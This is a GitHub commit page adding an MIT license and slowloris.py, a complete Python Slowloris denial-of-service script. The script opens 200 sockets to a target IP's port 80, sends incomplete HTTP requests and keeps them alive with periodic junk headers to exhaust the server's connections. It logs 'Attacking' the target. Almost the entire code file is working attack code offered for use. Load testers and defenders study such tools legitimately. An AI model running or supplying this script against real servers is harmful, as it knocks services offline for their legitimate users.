Skip to content

Commit

Permalink
First commit
Browse files Browse the repository at this point in the history
  • Loading branch information
gkbrk committed Apr 26, 2015
0 parents commit 18cb078
Show file tree
Hide file tree
Showing 2 changed files with 76 additions and 0 deletions.
19 changes: 19 additions & 0 deletions LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
Copyright (c) 2015 Gökberk Yaltıraklı

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
57 changes: 57 additions & 0 deletions slowloris.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
import socket
import random
import time
import sys

log_level = 2

def log(text, level=1):
if log_level >= level:
print(text)

list_of_sockets = []

regular_headers = [
"User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Accept-language: en-US,en,q=0.5"
]

def init_socket(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((ip,80))

s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
for header in regular_headers:
s.send("{}\r\n".format(header).encode("utf-8"))
return s

ip = sys.argv[1]
socket_count = 200
log("Attacking {} with {} sockets.".format(ip, socket_count))

log("Creating sockets...")
for _ in range(socket_count):
try:
log("Creating socket nr {}".format(_), level=2)
s = init_socket(ip)
except socket.error:
break
list_of_sockets.append(s)

while True:
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
for s in list_of_sockets:
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
for i in range(socket_count - len(list_of_sockets)):
log("Recreating socket...")
try:
s = init_socket(ip)
if s:
list_of_sockets.append(s)
except:
pass
time.sleep(15)

0 comments on commit 18cb078

Please sign in to comment.